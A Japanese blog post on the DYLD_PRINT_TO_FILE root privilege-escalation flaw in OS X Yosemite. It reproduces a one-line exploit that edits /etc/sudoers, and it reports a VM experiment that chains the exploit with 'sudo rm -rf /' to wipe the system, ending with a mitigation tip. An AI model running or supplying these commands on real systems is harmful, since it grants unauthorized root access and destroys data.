OS X 10.10.4までに存在する権限昇格の脆弱性を使用してYosemiteを「rm -rf /」してみました。詳細は以下から。

DYLD_PRINT_TO_FILE-Hero

 ドイツのセキュリティ企業"SektionEins"がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表し、多くの関連した話題が報じられてきましたが、

関連記事


 特にクリティカルなのが以下の1 Line Codeでこのコードを使用すれば誰もがrootユーザーでのコマンドを実行できます。

echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su

 この記事をまとめたところ、コメント欄「sudo の後に rm -rf / が無いだけ良かった」というアイデアを頂きましたので早速実験してみました。


実験

 実験にはParallels DesktopにインストールしたOS X 10.10.2 Yosemiteを使用しています(OS Xのバージョンが10.10.2なのは他の実験に使用していたからで、10.10.4でも実行可能だと思われます)。実行した1 Line Codeは以下の通りで、実行するとrootパスワードも聞かれずルートディレクトリを消去、

Parallels-Desktop-rm-rf-Yosemite-1
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo rm -rf /

 rmコマンドは以下の動画のように数分で終了(参考その2)。


 コマンド終了後Parallels Desktop側でYosemiteの仮想環境を強制的にRebootすると以下の様にBootが失敗します。

Parallels-Desktop-rm-rf-Yosemite-2

 その後リカバリーパティッションが起動し、ネットワーク経由でOS X Yosemiteの再インストールが始まります。

Parallels-Desktop-rm-rf-Yosemite-3

 既に多くの開発者やセキュリティ研究家がこの脆弱性をAppleに報告しているようですが、Appleはこの脆弱性を数ヶ月間放置しているというもあるため、修正はOS X 10.10.5以降になると思われるので、逸早く対応したい方はSUIDGuardの使用をお勧めします。


関連リンク:

共有する
フォローする


トラックバックURL:http://trackback.blogsys.jp/livedoor/applechinfo/45666083